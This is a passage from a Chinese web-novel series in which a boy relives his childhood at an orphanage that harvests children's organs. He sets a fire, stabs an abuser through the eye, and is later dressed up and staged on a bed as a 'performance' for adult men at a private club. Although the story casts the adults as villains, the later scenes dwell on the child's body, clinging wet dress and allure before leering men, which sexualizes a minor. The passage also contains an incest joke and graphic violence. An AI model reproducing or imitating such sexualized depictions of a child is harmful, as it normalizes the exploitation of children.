他连忙伸手将人推开,却被一把攥住了手腕。 “走吧,先去主神空间,你的记忆被保存在了无尽星海。” 楚青琅看了一眼被攥住的手腕,打开系统面板, 却发现上面依然是卡顿状态,“我可以强制退出的,不过你不是好了吗?为什么系统还没好?” 主神将他的手摊开,一根一根的挤进指缝中,“这里是被开辟出来的小世界,周围并不稳定,也没有被记录在主神空间现有的通道中,所以由我带你走最安全。” 而且,埃忒洱就算是杀了几次,但是作为神明只要有人记得祂,也不会彻底消亡。因此他只能用肉身作为压制的阵眼,将祂的意识陷入混沌。 而现在,祂几乎算得上是死在了青琅的面前,他的爱人又是那么心软,一定忘不掉祂的。 可真是好算计。 主神眼中划过一丝冷意。 但是看着面前少年催促的目光时,这丝冷意顿时消融,化为绵绵软流潺潺在心间流淌。 他们之间明争暗斗无所谓,只要不让青琅知道烦心就好。少年是他失而复得的珍贵宝物,没有人可以让他不开心,就算是自己也一样。 主神转身划开一道空间,带着好奇的楚青琅走了进去。 周围是漆黑的光芒,踩在脚下的虚空扭曲成斑斓模样,望久了仿佛灵魂都能被吸进去。 手腕传来的力道微凉,但是紧缚性很强,让楚青琅错觉连带着肩膀都在下沉。 他不由得上前一步和主神并排,侧脸观察了一会儿。除了那一双眼,他并不像之前碰到的兆歧他们那样冷峻苍白,甚至带着鬼气。 五官深邃,唇削薄却常常含笑,眼狭长睫毛浓密且直,不像自己那样卷卷的。 楚青琅摸了一下睫毛,又收回了手。 随即他突然想到了了什么,“你是不是比我大?” 好像每个世界的他都比自己大,难道在现实世界主神也比自己大吗? “嗯,当时的话,是大你十岁,你一般叫我舅舅或者爸爸。” 楚青琅惊了一瞬,“我叫你我们,我们是” 不会吧?他以前这么勇的吗? 乱/伦都搞上了? 主神笑了一下,周围无光的环境不知何时被星星点点的光芒充斥。 脚下的扭曲光景也被雾气浸染,散成一片灰蒙蒙来。 很明显,只是这几步路,楚青琅就来到了无尽之海。 主神悠悠说:“你到时候就知道了。” 楚青琅瞬间明白过来,这个人就是仗着自己没记忆胡乱说话! 等他记起来了,看他不打爆他的狗头! 在少年含着怒气的眼神中,主神的脚步停了下来。 “到了。” 荧光般的星星点缀在头顶四周,令人完全分不清方向,脚下这连绵的雾气一直跟随而来,甚至缓缓浓郁起来。 不远处伫立着一大片的建筑。 楚青琅好奇的望了一眼,“你住在那里吗?” 主神点了点头,“现在还不能去,等你下次回来就可以了。” 他还需要点时间收拾一下那些人。 主神握着楚青琅的手将他拉到面前,弯腰顶着他的额头。 “小乖,我一直在等你。” 红眸中的感情向着少年倾泻而出,楚青琅指尖颤了一下,眼神漂移了一瞬,却很快调整过来。 他伸手拽着主神的发微微后仰身子,感受着手中细密的触感,骨节弯曲。 “你不去吗?” 主神沉默了一瞬,仿佛内心在斗争,但是很快他就摇了摇头。 “这是你一个人的旅程,我只是你旅程到最后的奖品?” 主神笑着,叮嘱。 “无论发生什么,记得一切有我。闭上眼。” 楚青琅顺从的阖上双眸,只觉得自己被打横抱起,手臂下意识的想要挂住东西支撑,却被握住拽下。 随即,温热的,仿佛水流一般的东西浸润全身,没过口鼻。 他在最后一刻微微睁开了双眼,只看见层叠的雾气将主神的身形遮蔽,周围出现了几个模糊的人影,正朝他走来。 一只手伸过来,捂住他的口鼻,他猛地感受了下坠之感。 楚青琅下意识的闭上眼,闷闷的叫声被掩盖。 在轻微的窒息感后,眼前倏然亮起,薄薄的眼皮遮挡不住阳光。 楚青琅微微睁开了眼。 出现在他面前的是层层叠叠的绿叶,还有飒飒的树叶声以及孩子们清脆天真的笑声和距离极近的争吵声。 “这是我的!” “张阿姨说了,每个人只能有一个蛋糕!” “谁说我吃了?这个是给青琅的!” 嗯? 是他的名字。 楚青琅刚观察完周围的环境,发现自己是处在一个树杈上。 此时他的身子娇小,摸骨骼只有六七岁,在茂盛的树叶中,除了刻意寻找,几乎能将他全部挡住。 他微微掀开挡眼的树枝,一眼就看见了下面穿着相同短袖短裤的男孩子正在争抢手中的东西。 其中一个看上去很精致,另一个抢东西的则更加壮。 “他都被关禁闭了,吃什么吃!!” 精致的小男孩仰起尖细的下巴,毫不示弱道:“那也是青青的!你要是敢抢,小心我告诉李阿姨,李阿姨最喜欢青青了,到时候,到时候你就不会再有蛋糕了!” 长得壮壮的男孩留着寸头,闻言举了举拳头,嘟囔了一声,“呸,狗腿子。” 在精致的小男孩上前一步后,他转身气冲冲的离开了这里,最后还不甘的看了一眼被捧在掌心中的粉白的一小角的蛋糕。 “呼,还好没被发现。” 精致的小男孩刚一仰头,准备叫人,就看见靠在树干上掀起树枝看他的楚青琅,在对上那双冷淡的眼眸时,瞬间红了脸。 “青琅,你,你快下来,吃完就赶紧回去禁闭室吧,不然被张阿姨发现了,又该被罚了。” 小男孩结巴着说完,楚青琅才意识到不对。 不是给他记忆吗?怎么感觉是让他亲自体验一遍! 主神也没说会这样啊。 楚青琅还以为会像是之前每次穿进小世界那样给他灌输记忆呢。 伸手拽下一片叶子,皮肤白皙,骨骼细长,一看就知道长大后的手型会很好看。 但是手背骨节上带着一些伤疤,新鲜的。 看起来他被关禁闭应该有打架的原因,只是不知道是因为什么。 蛋糕的香气在鼻尖萦绕,胃部瞬间传来灼烧似的痛感,楚青琅不由得垂眸看了一眼殷切的望着他的男孩,在又一阵的咕噜声后,他开始慢吞吞的爬树。 脚下传来土地的坚实感,楚青琅刚放开手中粗糙的树木准备转身,眼前就出现了那一角的蛋糕。 像是草莓蛋糕,纯白色的奶油软趴趴的顺着蛋糕胚滑落,香精味很重,但是很香。 “快吃。” 男孩又将其举了举,抵在他的唇边,一双黑葡萄似的眼一眨不眨的盯着他。 楚青琅微微张口,舌尖舔舐了一下那奶油。 柔软丝滑的感觉瞬间充斥了口腔,咽下去,胃部的抽搐感却越发强烈,酸水不断上涌,隔膜一样的触感铺满了口腔。 男孩磕巴道:“青青,马上就到做活的时间了,我要过去了,晚上还会给你带东西吃的,今天是因为张阿姨盯的紧所以他们做掩护,只有我过来,晚上会有很多吃的你别害怕。” 楚青琅接过蛋糕,一口咬住,囫囵咽下问:“今天什么活?还有,和我打架的那家伙没事吗?” “啊,之前那个贺卡不用做了,现在要做手串了。”男孩收回手,不自觉的蹭了一下被碰到的手背,接着他昂头,幸灾乐祸道:“谁让那家伙欺负人!他被多罚了两天呢,而且还没有人给他送吃的,以后他一定不会在欺负青青你手下的人!” 我手下的人? 嗯,就算是在再为贫瘠简陋的环境中,都会有着小团体的。 而他,看起来还是头头。 楚青琅又问了许多的问题,男孩都一五一十的回答,回答完正好一小块的蛋糕吃完,男孩将小盘子拿着。 要去送回厨房,毕竟在这所福利院中,每一个东西都是有着数量的。 “青青,我先走了,你快回去,还有半个小时就会有巡查的阿姨去禁闭室了。” 男孩走前又再次叮嘱他。 楚青琅随意的点头,靠在树下,接住一片飘落的榆树叶放进嘴里。 口感不错,有着淡淡的青草味,些微的涩味也正好吧那口中粘腻的味道驱散。 他现在所处的环境是一所社会福利院,收容的大部分孩子都是天生带着疾病被弃养的,健康的孩子虽然也有,但是不多,而这些健康的孩子和那些天生带着疾病的并不在一个区域,平常也都见不到面。蛋糕是有人过来做慈善时购买的。 而他之所以和人打架,不过是有人嫉妒他平常经常得到阿姨得照拂,会私下里给他小零食,但是平常他身边围着的人比较多,那个孩子打不过他,就挑了一个他身边的人打。 但是在第二天就被他发现了。 他为了报复,就让人按着那个孩子打了起来。 最后因为他被阿姨喜欢,受到的惩罚并不会很重,所以就顶了上去。 事实也如他所料的那样,相比起他,那个和他打架的人更凄惨。 楚青琅沿着树木拐角在周围的福利院里面逛了一圈,发现那些阿姨虽然说话粗鲁大声,但是动作却都格外细心,那些孩子身上的衣服虽然破旧,不过都清洗的干干净净的。 看起来这座福利院资金物资虽然短缺,但是也有很好的照顾他们这些孩子。 楚青琅只简单的看了几眼,因为过来检查的人即将过来,于是他便赶回了禁闭室。 禁闭室是在树林后面,一间单独的屋子,大门挂着锁,墙壁旁边只有几个很小的窗户用来透气和通风,上面还用着铁栏杆封死。 不过那些金属栏杆因为常年的风雨侵蚀早就变成了装饰,楚青琅沿着排水管攀爬上去。 那个窗口虽然小,但是正好可以让他通过。 回身将栏杆摆放到正确的位置,楚青琅从窗口跳下,弯曲双膝卸下冲击力,稳稳的站在了黑漆漆的房间中央。 只是还没等他有所行动,外面就传来了脚步声。 那脚步声由远及近,在他旁边的房间中停下,随即便是咔咔的开锁声,以及细微的交谈声。 凄惨的哭声突然迸发出来。 “阿姨我饿!!” “我再也不打架了呜呜呜!!!” 但是来人却并未安抚,只是重新将门锁了起来,来到了楚青琅的房门前。 吱呀一声,门被打开,昏暗的手电筒灯光照射进来,在身上晃动,楚青琅不禁抬手挡了一下。 刺目的灯光下,来人站在他的面前。 “手伸出来。” 粗哑的声音响起,灯光却并未熄灭。 楚青琅乖巧的伸出手,面前的光源下移,手被握住,他才看见站在面前的女人长什么样子。 穿着灰色的长袖长裤,眉眼很淡,面无表情的。 看起来像是一个严谨刻薄的人。 光芒靠近他的手背,在上面一寸一寸的照着,上面的伤痕露出来,映在女人的眼中,她很明显的皱了下眉。 她将手电筒夹在腋下,从衣服衣服兜里掏出一管药膏,蹲下身子挤出为他细细涂抹起来。 楚青琅被她粗糙灼热的手摩擦的不太舒服,想要收回,但是看着面前的女人,又放弃了。 他试探的叫:“李阿姨?” 之前那个小孩说李阿姨最喜欢他,这个女人的态度虽然沉默,但是并没有对他有着很明显的情绪。 而之前经过他的观察,这里的看管人员很少,一个阿姨要看十几个人,因此能够专门给他带过来药膏的,除了李阿姨外不做他想。 值得一试。 女人哼了一声,“一股子蛋糕味,出去了?” 楚青琅眨巴了下眼,点了点头,小声说:“对不起,我有点饿。” 女人再次挤出药膏,“知道饿以后就别打架!你看你之前多乖的一小孩,怎么就学会打架了,而且还是和那个孩子,他多顽劣你不知道吗?都被人收养了还能被送回来,你们又没有什么疾病,就他一个人能被送回来!” 手电筒放在她的膝盖上,两个人的表情都溶在阴影中。 她接着道:“你马上也该被父母选择了,长得这么好看一定能够被富裕人家收养,身上怎么能带伤?这段时间给我乖一点,后面你就该享福了知道吗?” 楚青琅心中一跳,还没等他回答,女人就放下了他的手。 她将手电筒拿起来,又一次照着他的脸。 “知道吗?乖一点以后才能享福。” 白光将站在房间中的孩子头颈笼罩,不足巴掌大的小脸上满是漂亮的五官,斜飞卷翘的眼睫仿佛自带眼线,衬的眼眸如琉璃似的通透,小巧的鼻梁下,是花瓣似的唇。 短袖短裤中抽出的细长四肢如花茎一般,手腕脚腕的凸出的骨骼伶仃,可怜可爱。 可能因为年龄尚小,乍一看去,竟然分辨不出性别,只留下漂亮惊艳的印象。 仿佛不太理解她说的话,小孩虽然迷茫,却依然乖乖的点了点头。 得到回应的女人满意的转身向着外面走去。 脚步声逐渐远去,楚青琅垂眸。 手背上火辣辣的痛感被清凉的药膏消下了不少,表面也被融化的药膏变得黏糊糊的。 他反手将药膏蹭掉,决定把这个福利院虽然穷但是还好的评价收回。 在落锁声消弭后,耳边若隐若现的哭声瞬间消失。 细碎的声音传来,耳边竟然传来了一声细小的呼唤声。 “青青。” 声音从隔壁传来。 是那个和他打架的孩子。 楚青琅扭头看去,却只看见墙壁上显出一个洞来,凑近,里面是一颗黑白分明的眼珠,正惊喜的看着他。 “你没事吧?”隔壁的小孩说:“你千万别信她们说的话,他们就是想要把你卖出去,才不会管你的死活呢!” 经过她那么一说,楚青琅的心中也有了猜测,只是不清楚到底到了什么程度罢了。 而面前的这个孩子,被人带出去了又被人送回来。 应该有着自己的计划。 想来之前他们打架,也是在这个孩子的计划中。 他一直沉默,墙边的孩子就着急了起来,“青青,你相信我!她们真的不是好人,对你好都是目的的!我说了今天会带你去看,你一定要去,不准退缩!不然你元哥我就不帮你搅黄被领养的事情了。” 楚青琅弯起眼,笑了一下,“我知道,只是手有些痛。” 对面的小孩因为他的笑愣了一下,黑白分明的眼消失不见,接着,墙壁传来砰砰的撞墙声,那只眼睛又出现,声音虽然压低了,但依然听得出稚嫩。 “娇气!” 第98章 第 98 章 楚霄。 通过窗口, 可以很明显的看见外面的天色由蓝变成了深色。 时间到了。 只是隔壁的窗口栏杆是好的,而且也没有钥匙,他们怎么出去? 楚青琅从墙边站起身,敲了敲墙壁, “元哥?” 隔壁并未传出声音, 就当他想要再敲的时候, 门口却突然传来锁链坠地发出的沉闷响声。 跟着声音看去, 门被打开,外面就站着一个人影。 等他走进, 楚青琅才发现那是一个比他高的男孩,大约十四五岁左右。 一双眼闪着光,面容消瘦,眉宇间带着痞气。 他向他伸手,“快走, 娇气包。” 楚青琅乖乖的伸出手让他牵,意外道:“你会开锁?” 元哥带他走出禁闭室,“当然, 我什么都会!所以你要听我的话知道吗?” 听话? 楚青琅弯曲骨节, 按住他的手腕, 嗯了一声。 整个福利院像是是凹型建筑,但是中间并不相连。 身体有残缺的孩子和健康的孩子住在两旁, 中间用着一大片的榆树林和栏杆阻隔开来。 外面天空暗沉, 他们小心翼翼的穿过树林,又沿着墙边悄摸走到了另一个区域。 他们停在了宿舍楼的一旁,游玩设施很好的为他们提供了遮蔽,前方视野开阔。 楚青琅可以看见大楼里面依然亮着灯光,面包车和救护车停在外面, 周围站着几个穿着黑衣服的人。 他们还在闲聊,其中一个人嘴中还叼了支烟。 “有人生病了?” 话音落下,挨着他的男孩嘘了一声,用气声说:“你接着看。” 说完,元哥从一旁的拿出一个相机,笨拙的调整后,将镜头对准了大楼门口。 楚青琅有些讶异的挑了下眉。 他没有想到这个孩子做出的准备这么充足。 看起来是想要用照片来揭发这一切,只是不知道带他过来干什么。 正在沉思中,不远处一阵脚步声传来。 从大门里面走出几个人,抬着被白布盖住的架子,上面的东西从轮廓来看是孩子。 穿着白大褂的人蹲在救护车的后方,挨个掀开白布看了一眼之后,挥手让他们将架子抬了上去。 在救护车启动后,另一旁守卫的人将手中的烟扔在地上,纷纷上了另外的一辆面包车。 两辆车子就这样一前一后朝着福利院的大门开出。 等车子的声音彻底消失,住宿大门前重新冷清下来。 楚青琅扭头,看着正在检查手中的相机照片的元哥,低声问:“他们是在做什么?” 元哥将相机挂在脖子上,伸手将他重新拽起来,平静道:“外面这些生病的小孩是他们的活体行走器官,不是每天晚上都会有人来的,只要有人购买了,就会有人过来将人带走。” 他低头看着楚青琅,面容幼稚却又带着冷意,“你要是不信,你可以看看明天阿姨会不会做一些好吃的给他们,蛋糕,零食,是对他们的补偿。” 楚青琅瞬间想起了今天中午吃的那个草莓奶油蛋糕。 这是不是说明,昨天也有人被带了出去,不,带出去的一般是天生带着疾病的孩子。 而今天他们吃的是做慈善的老板们送过来的蛋糕。 指尖下的脉搏快速有力的跳动着,频率很快。 很明显,一副小大人的样子牵着他走的元哥也在害怕。 楚青琅对他安抚的笑了笑,“我相信你。” 元哥紧绷的面容放松了一些,“那走,这里只是带你看的第一个地方。” 楚青琅则有些疑惑,“你要去的是我们的住宿楼吗?那里离我们关禁闭的地方应该更近吧?” 所以,为什么不先去那里? 元哥没有回话,只是扯着他的手腕朝着前面走去。 两人躲避着室外摄像头的监控,沿着各种死角走了回去。 一进去,牵着的手就松了开来。 “没事了,这里没有监控,而且守夜的阿姨这时候都会去偷懒睡觉,这里不会有人看的。” 元哥带着楚青琅走到急救通道,声控灯早已损坏。 淡绿色的标识盈盈发亮,照在两人的面庞上,显得格外诡异。 元哥声音在空旷的楼道中显得有些空灵。 “到时候不许发出声音,也不许乱动,知道吗?” “嗯。” 楚青琅跟在他的身后,已经开始气喘了,额上有汗冒出。身前的人回头瞧了一眼,稍稍放慢了脚步。 他们的目标很明确,就是最顶层的院长办公室。 等到终于爬了上去,冷风穿过安全栏杆吹来,使得身上的汗湿冷起来。 两人贴着墙壁走去,楼道尽头房门紧闭,但是从门缝中可以看见金黄的的灯光钻出。 院长此时并未休息,靠近后,甚至可以听见细微的交谈和笑声。 元哥蹲在那里,仰头轻手轻脚的开锁。 在听到一阵轻微的咔哒声后,楚青琅看见他手中的铁丝卡片消失不见。 “来。” 手臂传来力道,将他拽的蹲下,接着元哥将手臂横在他的肩背,手垂在胸前,似乎是时刻准备捂着他的嘴。 紧闭的门被缓缓推开,金黄色的光芒如刀劈开两人的面庞,在这一瞬间,琉璃似的瞳孔骤然收缩。 唇微动,却很快被一只手捂住。 冰冷的相机压在他的肩膀上,细微的快门声音响起,镜头将门前所有场景摘取。 笑声灯光混着眼前的场景,楚青琅脑海有着片刻的空白。 鼻端突然传来一股子血腥气,他垂眸,白皙的掌心中有着几个月牙似的伤痕,鲜血正缓缓的渗出。 阖眼深呼吸了几次后,楚青琅伸手将捂着他嘴的手拽下。 面容前所未有的冰冷起来,他仔细的将出场的人都记了下来。 在那些人的手旁,玻璃盘上摆放着许多零食果干。 五颜六色的包装在灯光的照耀下眩目。 怪不得今天那个长相精致的孩子会说给他送好吃的,原来是这个样子。 楚青琅门重新阖上,反手拽着一旁有些惊讶的男孩来到了楼道旁。 “想要我做什么?” 元哥定定的瞧着他,忽地笑了起来,伸手按了下他的头,“不做什么。只是现在你是他们的头头,所以我需要你去说服他们,等我回来的时候让他们为我作证。” 元哥又说:“要不是他们不相信我,我才不会废这么大的功夫。” 楚青琅看了一眼他手中的相机,低声问:“不能报警是吗?” 不然元哥没有必要废这么大的功夫重新回来,还自己整了一个相机来搜集证据。这就说明这条产业链,是自上而下的。在这座城市里面,无法得到公正,他必须要出去。 楚青琅明白了,接着说:“你一个人去没有人会相信的,我们都太小了。” 面前的男孩仿佛想到了什么,眼眸中闪过一丝的阴沉,他压低声音,“不需要你管,你在这里安分等我就行!” 说完,转身就想要离开,楚青琅连忙伸手拉住他进行安抚,“听我说,元哥。” 元哥脚步停滞了一瞬,在他又叫了一声后,才终于转过身子。 楚青琅晃了晃他脖子上挂着的相机,乖巧的笑着说:“这个东西是底牌,不能轻易的交出去,你能够出去的话就多备份几张,然后直接寄到媒体那边,网上我们也要发。” “然后观看一下局势,等到真的有人管后,我们再出面,至少要保证我们的安全。” 元哥疑惑的看了他一眼,但是在他刻意装作无辜的眼神中还是哼了一声。 “不用你提醒。” 楚青琅收回手,抬头看了一眼走廊的顶部,声音很低,“现在,要先把他们救出来。” 他问:“元哥你会开车吗?” 元哥骄傲的昂起头,“我说了,我什么都会!区区开车而已,挖掘机我都会。” 楚青琅为他呱唧了几下,然后笑着说:“元哥厉害!对了,你应该知道车子的油箱在那里吧?还有木柴我会去宿舍说服他们,记得留下一辆院长的车,然后一起在楼下集合。” 瘦高的男孩震惊的看着他,“你要做什么?我们等待就行,我们救不了他们的!” 楚青琅凑近,按着他的后颈将人拉下,“相信我。” 那浓黑的眼瞳中仿佛燃烧着一簇火焰,灼烫的男孩猛地移开了视线,“如果被发现了,我会把你供出去的。” 如果被发现的话,他一定会被杀死的,就像是那些被带走的孩子一样。 他只想好好的活着,然后将这件事情曝光。 但是楚青琅依然明白他答应了,上前抱了男孩一下。 随后他转身朝着楼下跑去。 风声在耳边呼啸,他从未如此真实的感受到,有一股情绪在心中堆积,酝酿,让他烦躁。 想要破坏目之所及的一切。 没关系。 能救的。 他不是孩子 “嘀嘀嘀!!!” 尖锐的警报声瞬间响彻了整座大楼,不知何时浓郁起来的烟气顺着紧闭的门缝钻进屋子里。 嘈杂声轻而易举的刺破并不隔音的房间,原本还平静的大楼顿时混乱起来。 一声声的尖叫和哭泣声响起。 早已睡着的穿着灰色长袖长裤的阿姨们都惊慌的从房中走出,去看望各自照看的孩子。 在尖锐而又绵长的滴声中,她掏钥匙的手都颤抖起来。 该死的,可千万别出问题。 这些小家伙可比她珍贵多了! 终于咔哒一声,打开了房门,她连钥匙都未抽回,直接推开门走了进去。 “快快快!!!都出来!” 她快步过去,直接掀起一个孩子的被子,却在一瞬间对上了那睁着双眼和安静的瞧着她的男孩。 疑惑还未在心中升起,后颈便忽地传来一阵疼痛,眼前猝然黑了下来。 “噗通。” 女人软软的倒了下去。 露出了身后一直无声跟着的人。 “青青!” 躺在那里的小孩叫他,“我装的是不是很好?” 楚青琅伸手将他拉下床,看了其他床铺同样机灵下床的小孩说:“你们是最后几个,走吧。” 他带着他们走出去。 走廊上,一个个房间门被打开,危险的红色闪烁光芒,警报声刺耳。 但是跟在身后的小孩却丝毫没有害怕的意思。 “青青要带我们去哪里?” “青青饿不饿?我有藏饼干,你吃不吃?” “今天的蛋糕青青吃到了吗?是不是超级甜!” 楚青琅脚步不停,一一回应着。 这具身体真的只是普通孩子的身体素质,他能够弄晕那些人都是用了巧劲,靠偷袭。 在下了几层楼之后,身后的孩子都累了,他们也不再叽叽喳喳的。 等彻底走出楼层大门,一辆黑色的面包车就停在那里,此时车子上面已经有了十几个孩子。 而元哥,正坐在驾驶座位上。 楚青琅将身后跟着的孩子一个个的送上车,直接将车门关上。 “你干什么?!” 看见他的动作,元哥的面色一变。 楚青琅仰头,看着他笑,“元哥带着他们去外面等我,我很快回来。” “不行!” 元哥果断拒绝,稚嫩的面上那股子戾气又凝结出来,“那里都是成年人,你救不了他们。” “快去外面,我不会有事的。” 楚青琅拍了一下车门,转身就重新窜进大楼,此时他们放的火已经彻底着了起来,烟雾在楼道中迅速蔓延。 “青青!” 身后传来模糊的呼喊。 楚青琅撩起单薄的衣服捂住口鼻,快速跑到了顶楼。 重新站在了那扇紧闭的房门前。 此时,里面的欢笑声已经全然变成了怒骂和吵架的声音。 楚青琅听了一会儿,拿下卡着门锁的木棍,微微侧身。 “我草!” 里面的人正在用力撞门,门突然打开,直接在地上滚了一圈才爬起来站稳。 谁知道一抬眼就看见一个长得漂亮的孩子手中拿着木棍站在他的面前,在他身后漫天的烟雾中,竟然像在梦中一般。 那个孩子朝他笑。 男人顿时愣在了原地,甚至想要伸出手去摸。 楚青琅看了一眼在男人身后踉跄走出来的人,将房门重新关上,说:“捂住眼睛。” “青青?” 长相精致的孩子茫然的望着他,顺从的抬手捂住了眼睛。 “乖,你长得可真好看,是这一批中的玫瑰是吧?来,到叔叔这里来。” 温热感从面颊传来,男人蹲下身子就要将他搂进怀中。 楚青琅伸手按住男人的肩膀,细白的手指上带着细碎的伤口,男人看见,一脸的心疼。 “哎呦这伤怎么回事?谁欺负你了告诉叔叔,叔叔给你报仇!” “叔叔——” 楚青琅歪头,碎发下的眼睛定定的瞧着男人,双颊因为运动带着薄红,白皙透亮的,男人眼睛顿时直了。 “你——去死吧。” 轻柔的声音落下,黑亮的眼眸猛地闪过一丝煞气。 “啊!!!!” 伶仃的手腕骨骼突出,在空中划过了一道优美弧度。 尾端被削尖的木棍猛地顺着男人眼睛刺入进去,直直插进脑髓,连鲜血都没有流淌出来。 楚青琅一脚将人踹开。 “救命!救命啊啊啊啊!!!!” 男人在地上滚动,手颤抖的摸着木棍的尾端,嘴里却只能发出凄惨的叫声。 听的楚青琅身心舒畅。 他走到依然站在那里的长相精致的男孩,牵起他的手,越过男人缓缓的朝着通道跑去。 随着时间流逝。 脚步声越来越虚浮。 楚青琅肾上腺素下去,只觉得头脑一阵晕沉。 他晃了下脑袋。 不行,不能晕,他还要给那些孩子找到住的地方。 他是系统,会电脑,只要出去了能去网吧,养几十个孩子而已,完全不是问题。 思维在转动,一旁有声音传来,他才察觉到自己不知何时停下了脚步,正扶着墙壁喘息。 “青青是饿了吗?” 小孩从身上掏出一颗被五彩糖纸包着的糖,递到了他的面前。 “我偷偷拿的,给你。” 玻璃糖纸斑斓,里面裹着的是一颗绿色的椭圆形的糖果,被小孩剥下,放到了他的唇边。 楚青琅张开嘴,糖果轻巧的落进口中。 酸甜的感觉在一瞬间充斥口腔,还有着劣质的苹果香气,刺激的他瞬间清醒。 “怎么样?!” 楚青琅直接靠在墙上,精致的脸上面无表情。 “好吃。” “青青喜欢就好!” 不远处的场景渐渐扭曲,又像是被添加了模糊特效一般,眼前小孩的面容也朦胧起来。 楚青琅用舌尖顶了一下糖果,锋利的表面划破了口腔,血腥气混着酸味褪下的甜味,让他不由得抿了一下唇。 面前的小孩身影渐渐消失。 楚青琅垂眸,等着下一个场景的到来。 这是他过去的记忆,记忆怎么会改变呢? 记忆不会改变的,他只能经历。 果然还是被愤怒冲昏了头脑。 “咔嚓。” 糖果被牙齿咬裂,碎成一块一块的 霓虹灯光漫射,车流缓缓。 “对对,就是这个孩子!” “你看他长得,多漂亮,一定能让那些客人开心楚家家主也会来?那可太好了!” “强龙不压地头蛇!” “年龄大?害,原本他之前就该被献上的,但是不是当时发生了一场火灾吗?把过来的领养给吓跑了,不过也多亏那个领养跑了,不然我怎么能得到这么一个宝贝!” “楚霄不喜欢?这又不是强迫的,只是欣赏,欣赏知道吧。” “” 楚青琅睁开眼,舔舐了一下牙齿,那种酸甜的感觉好像依然存在在他的口腔中。 他低头,摸了一下骨骼,看了一下手。 比之前长大了,应该有十岁了。 他独自一个人坐在后座。 车子一个轻微的晃动,在红灯下停了下来。 楚青琅靠在椅背上,仰头垂眸,看着前方的挡风玻璃。 火烧云在遥遥的天边绵延不绝。 就像是他记忆中多出来的那场大火一样。 第99章 第 99 章 见面。 “该下来了, 来。” 大腹便便的男人弯腰露出笑,看着后座漂亮的孩子心中的满意愈发浓烈。 这小脸,绝了! 能搭上楚家人当然好,搭不上换换别的人脉资源也不错。 但是面对他伸出来的手, 楚青琅却只是轻飘飘的撇了一眼, 自己按着座椅下了车。 男人并不在意, 搂着他的肩膀就朝前面走去。 车子停在一栋私人会所的地下车库, 周围过来参加宴会的人,还有穿着统一制服的泊车员正在挨个协助宾客下车。 从电梯上楼之后是漫长的通道, 红褐色的地毯吞噬了他们的脚步声。 右手边是一列的房间,有三个人在一扇门前站着,其中两个像是保镖,另一个穿着条纹西装,不住的看着对讲机, 似乎在报告什么。 身旁的男人加快了脚步,楚青琅也被迫迈大了步子。 “你终于来了,快去做准备, 客人们都快到了, 规矩教导过了吗?” 条纹西装放下手中的对讲机, 对着男人说话,一旁的保镖极有眼色, 已经将房门打开了。 男人谄媚的笑着, 伸手将青琅推了进去。 “哎哎,早就教导过了,绝对不会让他闹出事情的,再说了就一个小孩,能出什么事情。” 门被砰的合上, 房间里面站着两个穿着黑白女仆装的女人,她们的手中捧着衣服和饰品,看见他进来之后,互相对视了一眼,就迎了上来。 楚青琅站在原地一句话也没有说,任由她们装饰自己。 余光中,桌子的一角摆放着一个水晶花瓶,上面插着一束玫瑰,娇艳欲滴。 头皮传来些微的拉扯感,透明泛金质感的花枝将他的发拢起,身上穿着的衣服也被脱下,一件波光粼粼的纯白绸裙套了上来,裙角到大腿腰间做成了湿漉漉的效果,黏在了肌肤上。 极好的展现出了他的如柳条般抽条的四肢,手腕系上了一条轻纱,如果行动起来,和翩飞的裙角相衬,想必会如精灵一般。 v型的领子缝着嘭起的柯根纱花边,只是一会儿,就摩擦的下颌以及肩颈泛红。 但是那些人却又拿着金色的颜料,将他泛红的地方涂抹上,于是愈发的凸出。 卷翘的眼睫毛轻眨,眼睑下却是随光闪烁的银色亮片,一直绵延的眼尾处。 所有的装饰,都在尽可能的将他的所有展示出来。 就算是没着镜子,楚青琅也能够知道他此时的模样。 他闭了闭眼,在上一个阶段引起的愤怒依然在心中堆积着。 女人面无表情的蹲在他的面前拿着化妆刷,为他增添细节。 他看了她一会儿,突然说:“姐姐,我渴了。” 本来就是纯澈的面容,如今在装扮下更如天使一般,女人愣了一下,还是转身朝着一旁走去为他倒水。 另一个女人则尽职尽责的摆弄着他身后的发丝,争取让每一根发丝都处在最完美的状态。 楚青琅扭头轻声道:“我想吃那个水果。” 他指了指一旁的桌子,上面除了花瓶,还放着新鲜饱满的樱桃和桃子,像是为了证明自己,他又补充了一句。 “送我来的叔叔说我可以吃的。” 纯澈的琉璃一般的眼眸眼巴巴的望着她。 女人最终还是点了一下头。 得到了允许,一直异常乖巧的男孩面上绽放出灿烂的笑容,他转身朝着桌子走去,只是在拿到那放在桌面中央的桃子时,手腕的轻纱仿佛不经意间蹭到了一旁伫立着的花瓶。 花瓶摇晃着,随着轻纱的再次撩过,猛地坠落下去。 “哗!” 大雨倾盆而下,夹杂着闪电的轰隆响声带来一声短促的尖叫。 暗红色的仿佛血液一般的幕布缓缓拉开,随即,在又一声的雷声到来时,自上而下的灯光猝然亮起,将舞台中央照亮的清晰。 高软的奢华的床铺摆放在中央,上面是一个假装沉睡着的孩子,五官格外的完美精致,哪怕是瑟缩恐惧着,也格外的令人惊艳。 灯光笼罩着他,阴影处,眼神好的宾客甚至能看见他面庞的细小绒毛,以及眼睫不安的轻颤。 细白的手指攥着被边,似乎是要将自己的全身都躲进被子中。 孩子般的想法。 多么可爱,仿佛只要躲进去了,所有的恐怖就会烟消云散。 “咚咚咚——” “孩子,开门。” 敲门声响伴随着一个低沉的声音响起,高大的模糊的身影出现在舞台的角落。 “叔叔!” 男孩惊喜的睁开了眼睛,他一把掀开被子,跳下床铺,朝着一旁跑去。 发丝飘带裙角随着他轻快的脚步在身后飞舞,白皙小巧的脚几乎溶在细密的颜色暗沉的地毯中,却格外的引人瞩目。 他作势打开门,在男人上前后,一把扑了过去。 仰起头,眼尾处的泛着金色银色的碎光,眼眸清澈水润,细白的手指抓着男人的西装,花瓣似的唇颤抖,精致的面庞上满是委屈。 “打雷了,好大声,我害怕。” 男孩仿佛柔软的玩偶,被拦着腰抱起时,几乎完全陷入了男人的怀中,只剩下手腕处的轻纱在隆起的手臂旁飘荡。 西装革履的男人边安慰边朝着床上走去。 “害怕什么?雷它并不可怕,只是一种自然现象,之前教你的你都忘了吗?当云层中” 男人弯腰将男孩放进床铺上,自己却跪了下去。 他轻柔的抚摸着飘带,看着男孩抱着玩偶端坐在那里,小脸上显露出回忆之色,稚嫩的声音一字一句说:“当云层中的正负电荷和高层的建筑,发生什么之后,就会对撞,然后会形成闪电。” 话音落下,音乐声响起,从天而降的光芒变暗起来。 